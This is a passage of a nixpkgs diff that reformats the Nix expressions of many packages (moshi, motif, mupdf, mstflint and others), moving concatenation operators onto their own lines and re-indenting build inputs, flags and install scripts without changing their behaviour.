--- a/pkgs/by-name/mo/moshi/package.nix
+++ b/pkgs/by-name/mo/moshi/package.nix
@@ -63,40 +63,38 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ln -s ${./Cargo.lock} Cargo.lock
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Unable to find libclang: "couldn't find any valid shared libraries matching: ['libclang.dylib']
-      rustPlatform.bindgenHook
-    ]
-    ++ lib.optionals config.cudaSupport [
-      # WARNING: autoAddDriverRunpath must run AFTER autoPatchelfHook
-      # Otherwise, autoPatchelfHook removes driverLink from RUNPATH
-      autoPatchelfHook
-      autoAddDriverRunpath
+  nativeBuildInputs = [
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Unable to find libclang: "couldn't find any valid shared libraries matching: ['libclang.dylib']
+    rustPlatform.bindgenHook
+  ]
+  ++ lib.optionals config.cudaSupport [
+    # WARNING: autoAddDriverRunpath must run AFTER autoPatchelfHook
+    # Otherwise, autoPatchelfHook removes driverLink from RUNPATH
+    autoPatchelfHook
+    autoAddDriverRunpath
 
-      cudaPackages.cuda_nvcc
-    ];
+    cudaPackages.cuda_nvcc
+  ];
 
-  buildInputs =
-    [
-      libopus
-      openssl
-      sentencepiece
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ]
-    ++ lib.optionals config.cudaSupport [
-      cudaPackages.cuda_cccl
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_nvrtc
-      cudaPackages.libcublas
-      cudaPackages.libcurand
-    ];
+  buildInputs = [
+    libopus
+    openssl
+    sentencepiece
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ]
+  ++ lib.optionals config.cudaSupport [
+    cudaPackages.cuda_cccl
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_nvrtc
+    cudaPackages.libcublas
+    cudaPackages.libcurand
+  ];
 
   buildFeatures =
     lib.optionals stdenv.hostPlatform.isDarwin [ "metal" ]
diff --git a/pkgs/by-name/mo/mosquitto/package.nix b/pkgs/by-name/mo/mosquitto/package.nix
index 4a1c2f6a3f17..75d65b3c7526 100644
--- a/pkgs/by-name/mo/mosquitto/package.nix
+++ b/pkgs/by-name/mo/mosquitto/package.nix
@@ -68,7 +68,8 @@ stdenv.mkDerivation rec {
     libwebsockets'
     openssl
     uthash
-  ] ++ lib.optional withSystemd systemd;
+  ]
+  ++ lib.optional withSystemd systemd;
 
   cmakeFlags = [
     (lib.cmakeBool "WITH_BUNDLED_DEPS" false)
diff --git a/pkgs/by-name/mo/motif/package.nix b/pkgs/by-name/mo/motif/package.nix
index 76ff28777862..c06b6c1e062c 100644
--- a/pkgs/by-name/mo/motif/package.nix
+++ b/pkgs/by-name/mo/motif/package.nix
@@ -59,33 +59,32 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  postPatch =
-    ''
-      # File existence fails when cross-compiling - useless for Nix anyhow
-      substituteInPlace ./configure --replace-fail \
-        'as_fn_error $? "cannot check for file existence' '#' \
-        --replace-fail 'pkg-config' '${stdenv.cc.targetPrefix}pkg-config'
-    ''
-    + lib.optionalString (!demoSupport) ''
-      sed 's/\<demos\>//' -i Makefile.{am,in}
-    ''
-    # for cross builds, we must copy several build tools from a native build
-    # (and we must ensure they are not removed and recreated by make)
-    + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      cp "${buildPackages.motif}/lib/internals/makestrs" config/util/makestrs
-      substituteInPlace config/util/Makefile.in \
-        --replace-fail '@rm -f makestrs$(EXEEXT)' "" \
-        --replace-fail '$(AM_V_CCLD)$(LINK) $(makestrs_OBJECTS) $(makestrs_LDADD) $(LIBS)' ""
+  postPatch = ''
+    # File existence fails when cross-compiling - useless for Nix anyhow
+    substituteInPlace ./configure --replace-fail \
+      'as_fn_error $? "cannot check for file existence' '#' \
+      --replace-fail 'pkg-config' '${stdenv.cc.targetPrefix}pkg-config'
+  ''
+  + lib.optionalString (!demoSupport) ''
+    sed 's/\<demos\>//' -i Makefile.{am,in}
+  ''
+  # for cross builds, we must copy several build tools from a native build
+  # (and we must ensure they are not removed and recreated by make)
+  + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    cp "${buildPackages.motif}/lib/internals/makestrs" config/util/makestrs
+    substituteInPlace config/util/Makefile.in \
+      --replace-fail '@rm -f makestrs$(EXEEXT)' "" \
+      --replace-fail '$(AM_V_CCLD)$(LINK) $(makestrs_OBJECTS) $(makestrs_LDADD) $(LIBS)' ""
 
-      cp "${buildPackages.motif}"/lib/internals/{wml,wmluiltok,wmldbcreate} tools/wml/
-      substituteInPlace tools/wml/Makefile.in \
-        --replace-fail '@rm -f wmldbcreate$(EXEEXT)' "" \
-        --replace-fail '$(AM_V_CCLD)$(LINK) $(wmldbcreate_OBJECTS) $(wmldbcreate_LDADD) $(LIBS)' "" \
-        --replace-fail '@rm -f wmluiltok$(EXEEXT)' "" \
-        --replace-fail '$(AM_V_CCLD)$(LINK) $(wmluiltok_OBJECTS) $(wmluiltok_LDADD) $(LIBS)' "" \
-        --replace-fail '@rm -f wml$(EXEEXT)' "" \
-        --replace-fail '$(AM_V_CCLD)$(LINK) $(wml_OBJECTS) $(wml_LDADD) $(LIBS)' ""
-    '';
+    cp "${buildPackages.motif}"/lib/internals/{wml,wmluiltok,wmldbcreate} tools/wml/
+    substituteInPlace tools/wml/Makefile.in \
+      --replace-fail '@rm -f wmldbcreate$(EXEEXT)' "" \
+      --replace-fail '$(AM_V_CCLD)$(LINK) $(wmldbcreate_OBJECTS) $(wmldbcreate_LDADD) $(LIBS)' "" \
+      --replace-fail '@rm -f wmluiltok$(EXEEXT)' "" \
+      --replace-fail '$(AM_V_CCLD)$(LINK) $(wmluiltok_OBJECTS) $(wmluiltok_LDADD) $(LIBS)' "" \
+      --replace-fail '@rm -f wml$(EXEEXT)' "" \
+      --replace-fail '$(AM_V_CCLD)$(LINK) $(wml_OBJECTS) $(wml_LDADD) $(LIBS)' ""
+  '';
 
   patches = [
     ./Remove-unsupported-weak-refs-on-darwin.patch
diff --git a/pkgs/by-name/mo/mozc/package.nix b/pkgs/by-name/mo/mozc/package.nix
index 02cfa443c83f..3a2b5fdddd7d 100644
--- a/pkgs/by-name/mo/mozc/package.nix
+++ b/pkgs/by-name/mo/mozc/package.nix
@@ -75,13 +75,12 @@ buildBazelPackage rec {
       --replace-fail "https://www.post.japanpost.jp/zipcode/dl/jigyosyo/zip/jigyosyo.zip" "file://${jp-zip-codes}/jigyosyo.zip"
   '';
 
-  preConfigure =
-    ''
-      cd src
-    ''
-    + lib.optionalString (dictionaries != [ ]) ''
-      cat ${ut-dictionary}/mozcdic-ut.txt >> data/dictionary_oss/dictionary00.txt
-    '';
+  preConfigure = ''
+    cd src
+  ''
+  + lib.optionalString (dictionaries != [ ]) ''
+    cat ${ut-dictionary}/mozcdic-ut.txt >> data/dictionary_oss/dictionary00.txt
+  '';
 
   buildAttrs.installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/mo/mozphab/package.nix b/pkgs/by-name/mo/mozphab/package.nix
index ce8fc76cb7dd..6795f2d673af 100644
--- a/pkgs/by-name/mo/mozphab/package.nix
+++ b/pkgs/by-name/mo/mozphab/package.nix
@@ -38,19 +38,18 @@ python3.pkgs.buildPythonApplication rec {
     setuptools
   ];
 
-  nativeCheckInputs =
-    [
-      git
-      mercurial
-      patch
-    ]
-    ++ (with python3.pkgs; [
-      callee
-      immutabledict
-      hg-evolve
-      mock
-      pytestCheckHook
-    ]);
+  nativeCheckInputs = [
+    git
+    mercurial
+    patch
+  ]
+  ++ (with python3.pkgs; [
+    callee
+    immutabledict
+    hg-evolve
+    mock
+    pytestCheckHook
+  ]);
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/by-name/mp/mp3blaster/package.nix b/pkgs/by-name/mp/mp3blaster/package.nix
index 0809970ade88..2fff6e98e1a1 100644
--- a/pkgs/by-name/mp/mp3blaster/package.nix
+++ b/pkgs/by-name/mp/mp3blaster/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     ncurses
     libvorbis
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin SDL;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin SDL;
 
   env.NIX_CFLAGS_COMPILE = toString (
     [
diff --git a/pkgs/by-name/mp/mpb/package.nix b/pkgs/by-name/mp/mpb/package.nix
index 8f9bd6ee639e..6db951abaa19 100644
--- a/pkgs/by-name/mp/mpb/package.nix
+++ b/pkgs/by-name/mp/mpb/package.nix
@@ -54,7 +54,8 @@ stdenv.mkDerivation rec {
     "--with-libctl=${libctl}"
     "--enable-maintainer-mode"
     "--disable-dependency-tracking"
-  ] ++ lib.optional (!stdenv.hostPlatform.isStatic) "--enable-shared";
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isStatic) "--enable-shared";
 
   doCheck = true;
 
diff --git a/pkgs/by-name/mp/mpc/package.nix b/pkgs/by-name/mp/mpc/package.nix
index d88e9438e1fe..2ebdbaf48841 100644
--- a/pkgs/by-name/mp/mpc/package.nix
+++ b/pkgs/by-name/mp/mpc/package.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [
     libmpdclient
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   nativeBuildInputs = [
     installShellFiles
diff --git a/pkgs/by-name/mp/mpdscribble/package.nix b/pkgs/by-name/mp/mpdscribble/package.nix
index a6d74dabc7eb..0d60127161fc 100644
--- a/pkgs/by-name/mp/mpdscribble/package.nix
+++ b/pkgs/by-name/mp/mpdscribble/package.nix
@@ -45,7 +45,8 @@ stdenv.mkDerivation rec {
     curl
     boost
     libgcrypt
-  ] ++ lib.optional stdenv.hostPlatform.isLinux systemd;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux systemd;
 
   meta = with lib; {
     description = "MPD client which submits info about tracks being played to a scrobbler";
diff --git a/pkgs/by-name/mp/mpop/package.nix b/pkgs/by-name/mp/mpop/package.nix
index 1fea4be45eba..31645187b5bb 100644
--- a/pkgs/by-name/mp/mpop/package.nix
+++ b/pkgs/by-name/mp/mpop/package.nix
@@ -42,7 +42,8 @@ stdenv.mkDerivation rec {
     (lib.withFeature idnSupport "idn")
     (lib.withFeature gsaslSupport "gsasl")
     "--with-tls=${sslLibrary}"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "--with-macosx-keyring";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--with-macosx-keyring";
 
   meta = with lib; {
     description = "POP3 mail retrieval agent";
diff --git a/pkgs/by-name/mp/mpris-scrobbler/package.nix b/pkgs/by-name/mp/mpris-scrobbler/package.nix
index 766c27d2d940..ce57cc3d48fd 100644
--- a/pkgs/by-name/mp/mpris-scrobbler/package.nix
+++ b/pkgs/by-name/mp/mpris-scrobbler/package.nix
@@ -26,16 +26,15 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-qjd/8Ro4wERvp8RDxyZiqWqVKwA0CX1LaoZAquw9asA=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace src/signon.c \
-        --replace "/usr/bin/xdg-open" "${xdg-utils}/bin/xdg-open"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace meson.build \
-        --replace "-Werror=format-truncation=0" "" \
-        --replace "-Wno-stringop-overflow" ""
-    '';
+  postPatch = ''
+    substituteInPlace src/signon.c \
+      --replace "/usr/bin/xdg-open" "${xdg-utils}/bin/xdg-open"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace meson.build \
+      --replace "-Werror=format-truncation=0" "" \
+      --replace "-Wno-stringop-overflow" ""
+  '';
 
   nativeBuildInputs = [
     m4
diff --git a/pkgs/by-name/mq/mqtt-explorer/package.nix b/pkgs/by-name/mq/mqtt-explorer/package.nix
index 75ff2b1b798a..3c72c00ca796 100644
--- a/pkgs/by-name/mq/mqtt-explorer/package.nix
+++ b/pkgs/by-name/mq/mqtt-explorer/package.nix
@@ -51,7 +51,8 @@ stdenv.mkDerivation rec {
     typescript
     fixup-yarn-lock
     makeWrapper
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ copyDesktopItems ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ copyDesktopItems ];
 
   env.ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
 
diff --git a/pkgs/by-name/ms/msbuild-structured-log-viewer/package.nix b/pkgs/by-name/ms/msbuild-structured-log-viewer/package.nix
index e772e9314924..b2016c323eeb 100644
--- a/pkgs/by-name/ms/msbuild-structured-log-viewer/package.nix
+++ b/pkgs/by-name/ms/msbuild-structured-log-viewer/package.nix
@@ -46,22 +46,21 @@ buildDotnetModule (finalAttrs: rec {
 
   dontDotnetFixup = true;
 
-  postFixup =
-    ''
-      wrapDotnetProgram $out/lib/${finalAttrs.pname}/StructuredLogViewer.Avalonia $out/bin/${meta.mainProgram}
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm444 $src/src/StructuredLogViewer/icons/msbuild-structured-log-viewer.png $out/share/icons/hicolor/32x32/apps/${finalAttrs.pname}.png
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace src/StructuredLogViewer.Avalonia/Info.plist \
-        --replace-fail "0.0.1" "${finalAttrs.version}"
+  postFixup = ''
+    wrapDotnetProgram $out/lib/${finalAttrs.pname}/StructuredLogViewer.Avalonia $out/bin/${meta.mainProgram}
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm444 $src/src/StructuredLogViewer/icons/msbuild-structured-log-viewer.png $out/share/icons/hicolor/32x32/apps/${finalAttrs.pname}.png
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace src/StructuredLogViewer.Avalonia/Info.plist \
+      --replace-fail "0.0.1" "${finalAttrs.version}"
 
-      install -Dm444 src/StructuredLogViewer.Avalonia/Info.plist $out/Applications/StructuredLogViewer.app/Contents/Info.plist
-      install -Dm444 src/StructuredLogViewer.Avalonia/StructuredLogViewer.icns $out/Applications/StructuredLogViewer.app/Contents/Resources/StructuredLogViewer.icns
-      mkdir -p $out/Applications/StructuredLogViewer.app/Contents/MacOS
-      ln -s $out/bin/${meta.mainProgram} $out/Applications/StructuredLogViewer.app/Contents/MacOS/StructuredLogViewer.Avalonia
-    '';
+    install -Dm444 src/StructuredLogViewer.Avalonia/Info.plist $out/Applications/StructuredLogViewer.app/Contents/Info.plist
+    install -Dm444 src/StructuredLogViewer.Avalonia/StructuredLogViewer.icns $out/Applications/StructuredLogViewer.app/Contents/Resources/StructuredLogViewer.icns
+    mkdir -p $out/Applications/StructuredLogViewer.app/Contents/MacOS
+    ln -s $out/bin/${meta.mainProgram} $out/Applications/StructuredLogViewer.app/Contents/MacOS/StructuredLogViewer.Avalonia
+  '';
 
   desktopItems = makeDesktopItem {
     name = finalAttrs.pname;
diff --git a/pkgs/by-name/ms/msgpack-cxx/package.nix b/pkgs/by-name/ms/msgpack-cxx/package.nix
index 1eefc89e9ecc..aae71ad83ce1 100644
--- a/pkgs/by-name/ms/msgpack-cxx/package.nix
+++ b/pkgs/by-name/ms/msgpack-cxx/package.nix
@@ -31,7 +31,8 @@ stdenv.mkDerivation (finalAttrs: {
   cmakeFlags = [
     "-DMSGPACK_BUILD_DOCS=OFF" # docs are not installed even if built
     "-DMSGPACK_CXX20=ON"
-  ] ++ lib.optional finalAttrs.finalPackage.doCheck "-DMSGPACK_BUILD_TESTS=ON";
+  ]
+  ++ lib.optional finalAttrs.finalPackage.doCheck "-DMSGPACK_BUILD_TESTS=ON";
 
   checkInputs = [
     zlib
diff --git a/pkgs/by-name/ms/msolve/package.nix b/pkgs/by-name/ms/msolve/package.nix
index 037ce3270023..8d30a49cdc88 100644
--- a/pkgs/by-name/ms/msolve/package.nix
+++ b/pkgs/by-name/ms/msolve/package.nix
@@ -28,15 +28,14 @@ stdenv.mkDerivation (finalAttrs: {
     autoreconfHook
   ];
 
-  buildInputs =
-    [
-      flint3
-      gmp
-      mpfr
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    flint3
+    gmp
+    mpfr
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.openmp
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/ms/mstflint/package.nix b/pkgs/by-name/ms/mstflint/package.nix
index fc5b68c2a888..2458926237b4 100644
--- a/pkgs/by-name/ms/mstflint/package.nix
+++ b/pkgs/by-name/ms/mstflint/package.nix
@@ -53,20 +53,19 @@ stdenv.mkDerivation rec {
     git
   ];
 
-  buildInputs =
-    [
-      rdma-core
-      zlib
-      libxml2
-      openssl
-    ]
-    ++ lib.optionals (!onlyFirmwareUpdater) [
-      boost
-      curl
-      expat
-      xz
-      python3
-    ];
+  buildInputs = [
+    rdma-core
+    zlib
+    libxml2
+    openssl
+  ]
+  ++ lib.optionals (!onlyFirmwareUpdater) [
+    boost
+    curl
+    expat
+    xz
+    python3
+  ];
 
   preConfigure = ''
     export CPPFLAGS="-I$(pwd)/tools_layouts -isystem ${libxml2.dev}/include/libxml2"
@@ -108,22 +107,21 @@ stdenv.mkDerivation rec {
     '')
   ];
 
-  configureFlags =
-    [
-      "--enable-xml2"
-      "--datarootdir=${placeholder "out"}/share"
-    ]
-    ++ lib.optionals (!onlyFirmwareUpdater) [
-      "--enable-adb-generic-tools"
-      "--enable-cs"
-      "--enable-dc"
-      "--enable-fw-mgr"
-      "--enable-inband"
-      "--enable-rdmem"
-    ]
-    ++ lib.optionals enableDPA [
-      "--enable-dpa"
-    ];
+  configureFlags = [
+    "--enable-xml2"
+    "--datarootdir=${placeholder "out"}/share"
+  ]
+  ++ lib.optionals (!onlyFirmwareUpdater) [
+    "--enable-adb-generic-tools"
+    "--enable-cs"
+    "--enable-dc"
+    "--enable-fw-mgr"
+    "--enable-inband"
+    "--enable-rdmem"
+  ]
+  ++ lib.optionals enableDPA [
+    "--enable-dpa"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/mt/mtdutils/package.nix b/pkgs/by-name/mt/mtdutils/package.nix
index d845b3ec6956..0ee2651116e6 100644
--- a/pkgs/by-name/mt/mtdutils/package.nix
+++ b/pkgs/by-name/mt/mtdutils/package.nix
@@ -26,7 +26,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     pkg-config
-  ] ++ lib.optional doCheck cmocka;
+  ]
+  ++ lib.optional doCheck cmocka;
   buildInputs = [
     acl
     libuuid
diff --git a/pkgs/by-name/mu/mum/package.nix b/pkgs/by-name/mu/mum/package.nix
index 0cc9ce86e3ab..1c1188f2f349 100644
--- a/pkgs/by-name/mu/mum/package.nix
+++ b/pkgs/by-name/mu/mum/package.nix
@@ -43,7 +43,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
     glib
     libopus
     openssl
-  ] ++ lib.optional withNotifications libnotify;
+  ]
+  ++ lib.optional withNotifications libnotify;
 
   buildNoDefaultFeatures = true;
   buildFeatures = lib.optional withNotifications "notifications" ++ lib.optional withOgg "ogg";
diff --git a/pkgs/by-name/mu/mumps/package.nix b/pkgs/by-name/mu/mumps/package.nix
index fb2fbc92ccd3..398e27a32a9d 100644
--- a/pkgs/by-name/mu/mumps/package.nix
+++ b/pkgs/by-name/mu/mumps/package.nix
@@ -85,22 +85,22 @@ stdenv.mkDerivation (finalAttrs: {
       "allshared"
     ];
 
-  installPhase =
-    ''
-      mkdir $out
-      cp -r include lib $out
-    ''
-    + lib.optionalString (!mpiSupport) ''
-      # Install mumps_seq headers
-      install -Dm 444 -t $out/include/mumps_seq libseq/*.h
+  installPhase = ''
+    mkdir $out
+    cp -r include lib $out
+  ''
+  + lib.optionalString (!mpiSupport) ''
+    # Install mumps_seq headers
+    install -Dm 444 -t $out/include/mumps_seq libseq/*.h
 
-      # Add some compatibility with coin-or-mumps
-      ln -s $out/include/mumps_seq/mpi.h $out/include/mumps_mpi.h
-    '';
+    # Add some compatibility with coin-or-mumps
+    ln -s $out/include/mumps_seq/mpi.h $out/include/mumps_mpi.h
+  '';
 
   nativeBuildInputs = [
     gfortran
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
   # Parmetis should be placed before scotch to avoid conflict of header file "parmetis.h"
   buildInputs =
diff --git a/pkgs/by-name/mu/muon/package.nix b/pkgs/by-name/mu/muon/package.nix
index afbdceac9b46..0914a795160c 100644
--- a/pkgs/by-name/mu/muon/package.nix
+++ b/pkgs/by-name/mu/muon/package.nix
@@ -29,15 +29,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   outputs = [ "out" ] ++ lib.optionals buildDocs [ "man" ];
 
-  nativeBuildInputs =
-    [
-      pkgconf
-    ]
-    ++ lib.optionals (!embedSamurai) [ samurai ]
-    ++ lib.optionals buildDocs [
-      (python3.withPackages (ps: [ ps.pyyaml ]))
-      scdoc
-    ];
+  nativeBuildInputs = [
+    pkgconf
+  ]
+  ++ lib.optionals (!embedSamurai) [ samurai ]
+  ++ lib.optionals buildDocs [
+    (python3.withPackages (ps: [ ps.pyyaml ]))
+    scdoc
+  ];
 
   buildInputs = [
     curl
@@ -75,13 +74,12 @@ stdenv.mkDerivation (finalAttrs: {
       popd
     '';
 
-  postPatch =
-    ''
-      patchShebangs bootstrap.sh
-    ''
-    + lib.optionalString buildDocs ''
-      patchShebangs subprojects/meson-docs/docs/genrefman.py
-    '';
+  postPatch = ''
+    patchShebangs bootstrap.sh
+  ''
+  + lib.optionalString buildDocs ''
+    patchShebangs subprojects/meson-docs/docs/genrefman.py
+  '';
 
   # tests try to access "~"
   postConfigure = ''
diff --git a/pkgs/by-name/mu/mupdf/package.nix b/pkgs/by-name/mu/mupdf/package.nix
index 50344eb22589..b58a6520e5e8 100644
--- a/pkgs/by-name/mu/mupdf/package.nix
+++ b/pkgs/by-name/mu/mupdf/package.nix
@@ -92,63 +92,62 @@ stdenv.mkDerivation rec {
     done
   '';
 
-  makeFlags =
-    [
-      "prefix=$(out)"
-      "shared=yes"
-      "USE_SYSTEM_LIBS=yes"
-      "PKG_CONFIG=${buildPackages.pkg-config}/bin/${buildPackages.pkg-config.targetPrefix}pkg-config"
-    ]
-    ++ lib.optionals (!enableX11) [ "HAVE_X11=no" ]
-    ++ lib.optionals (!enableGL) [ "HAVE_GLUT=no" ]
-    ++ lib.optionals (enableOcr) [ "USE_TESSERACT=yes" ];
+  makeFlags = [
+    "prefix=$(out)"
+    "shared=yes"
+    "USE_SYSTEM_LIBS=yes"
+    "PKG_CONFIG=${buildPackages.pkg-config}/bin/${buildPackages.pkg-config.targetPrefix}pkg-config"
+  ]
+  ++ lib.optionals (!enableX11) [ "HAVE_X11=no" ]
+  ++ lib.optionals (!enableGL) [ "HAVE_GLUT=no" ]
+  ++ lib.optionals (enableOcr) [ "USE_TESSERACT=yes" ];
 
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ lib.optional (enableGL || enableX11) copyDesktopItems
-    ++ lib.optional (stdenv.hostPlatform.isDarwin && (enableGL || enableX11)) desktopToDarwinBundle
-    ++ lib.optionals (enableCxx || enablePython) [
-      (python3.pythonOnBuildForHost.withPackages (ps: [
-        ps.setuptools
-        ps.libclang
-      ]))
-    ]
-    ++ lib.optionals (enablePython) [
-      which
-      swig
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-      xcbuild
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optional (enableGL || enableX11) copyDesktopItems
+  ++ lib.optional (stdenv.hostPlatform.isDarwin && (enableGL || enableX11)) desktopToDarwinBundle
+  ++ lib.optionals (enableCxx || enablePython) [
+    (python3.pythonOnBuildForHost.withPackages (ps: [
+      ps.setuptools
+      ps.libclang
+    ]))
+  ]
+  ++ lib.optionals (enablePython) [
+    which
+    swig
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+    xcbuild
+  ];
 
-  buildInputs =
-    [
-      freetype
-      harfbuzz
-      openjpeg
-      jbig2dec
-      libjpeg
-      gumbo
-    ]
-    ++ lib.optionals enableX11 [
-      libX11
-      libXext
-      libXi
-      libXrandr
-    ]
-    ++ lib.optionals enableCurl [
-      curl
-      openssl
-    ]
-    ++ lib.optionals (enableGL && !stdenv.hostPlatform.isDarwin) [
-      freeglut-mupdf
-      libGLU
-    ]
-    ++ lib.optionals enableOcr [
-      leptonica
-      tesseract
-    ];
+  buildInputs = [
+    freetype
+    harfbuzz
+    openjpeg
+    jbig2dec
+    libjpeg
+    gumbo
+  ]
+  ++ lib.optionals enableX11 [
+    libX11
+    libXext
+    libXi
+    libXrandr
+  ]
+  ++ lib.optionals enableCurl [
+    curl
+    openssl
+  ]
+  ++ lib.optionals (enableGL && !stdenv.hostPlatform.isDarwin) [
+    freeglut-mupdf
+    libGLU
+  ]
+  ++ lib.optionals enableOcr [
+    leptonica
+    tesseract
+  ];
 
   outputs = [
     "bin"
@@ -204,56 +203,55 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postInstall =
-    ''
-      mkdir -p "$out/lib/pkgconfig"
-      cat >"$out/lib/pkgconfig/mupdf.pc" <<EOF
-      prefix=$out
-      libdir=\''${prefix}/lib
-      includedir=\''${prefix}/include
+  postInstall = ''
+    mkdir -p "$out/lib/pkgconfig"
+    cat >"$out/lib/pkgconfig/mupdf.pc" <<EOF
+    prefix=$out
+    libdir=\''${prefix}/lib
+    includedir=\''${prefix}/include
 
-      Name: mupdf
-      Description: Library for rendering PDF documents
-      Version: ${version}
-      Libs: -L\''${libdir} -lmupdf
-      Cflags: -I\''${includedir}
-      EOF
+    Name: mupdf
+    Description: Library for rendering PDF documents
+    Version: ${version}
+    Libs: -L\''${libdir} -lmupdf
+    Cflags: -I\''${includedir}
+    EOF
 
-      moveToOutput "bin" "$bin"
+    moveToOutput "bin" "$bin"
+  ''
+  + (lib.optionalString (stdenv.hostPlatform.isDarwin) ''
+    for exe in $bin/bin/*; do
+      install_name_tool -change build/shared-release/libmupdf.dylib $out/lib/libmupdf.dylib "$exe"
+    done
+  '')
+  + (lib.optionalString (enableX11 || enableGL) ''
+    mkdir -p $bin/share/icons/hicolor/48x48/apps
+    cp docs/logo/mupdf-icon-48.png $bin/share/icons/hicolor/48x48/apps
+  '')
+  + (
+    if enableGL then
+      ''
+        ln -s "$bin/bin/mupdf-gl" "$bin/bin/mupdf"
+      ''
+    else
+      lib.optionalString (enableX11) ''
+        ln -s "$bin/bin/mupdf-x11" "$bin/bin/mupdf"
+      ''
+  )
+  + (lib.optionalString (enableCxx) ''
+    cp platform/c++/include/mupdf/*.h $out/include/mupdf
+    cp build/*/libmupdfcpp.so $out/lib
+  '')
+  + (lib.optionalString (enablePython) (
     ''
-    + (lib.optionalString (stdenv.hostPlatform.isDarwin) ''
-      for exe in $bin/bin/*; do
-        install_name_tool -change build/shared-release/libmupdf.dylib $out/lib/libmupdf.dylib "$exe"
-      done
-    '')
-    + (lib.optionalString (enableX11 || enableGL) ''
-      mkdir -p $bin/share/icons/hicolor/48x48/apps
-      cp docs/logo/mupdf-icon-48.png $bin/share/icons/hicolor/48x48/apps
-    '')
-    + (
-      if enableGL then
-        ''
-          ln -s "$bin/bin/mupdf-gl" "$bin/bin/mupdf"
-        ''
-      else
-        lib.optionalString (enableX11) ''
-          ln -s "$bin/bin/mupdf-x11" "$bin/bin/mupdf"
-        ''
-    )
-    + (lib.optionalString (enableCxx) ''
-      cp platform/c++/include/mupdf/*.h $out/include/mupdf
-      cp build/*/libmupdfcpp.so $out/lib
-    '')
-    + (lib.optionalString (enablePython) (
-      ''
-        mkdir -p $out/${python3.sitePackages}/mupdf
-        cp build/*/_mupdf.so $out/${python3.sitePackages}/mupdf
-        cp build/*/mupdf.py $out/${python3.sitePackages}/mupdf/__init__.py
-      ''
-      + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
-        install_name_tool -add_rpath $out/lib $out/${python3.sitePackages}/mupdf/_mupdf.so
-      ''
-    ));
+      mkdir -p $out/${python3.sitePackages}/mupdf
+      cp build/*/_mupdf.so $out/${python3.sitePackages}/mupdf
+      cp build/*/mupdf.py $out/${python3.sitePackages}/mupdf/__init__.py
+    ''
+    + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
+      install_name_tool -add_rpath $out/lib $out/${python3.sitePackages}/mupdf/_mupdf.so
+    ''
+  ));
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/mu/muse-sounds-manager/package.nix b/pkgs/by-name/mu/muse-sounds-manager/package.nix
index 8466c767eda1..bfe516faf5ee 100644
--- a/pkgs/by-name/mu/muse-sounds-manager/package.nix
+++ b/pkgs/by-name/mu/muse-sounds-manager/package.nix
@@ -41,7 +41,8 @@ stdenv.mkDerivation rec {
     fontconfig
     stdenv.cc.cc
     zlib
-  ] ++ runtimeDependencies;
+  ]
+  ++ runtimeDependencies;
 
   runtimeDependencies = map lib.getLib [
     icu
diff --git a/pkgs/by-name/mu/musikcube/package.nix b/pkgs/by-name/mu/musikcube/package.nix
index fa94ea6ff806..18e9a0939619 100644
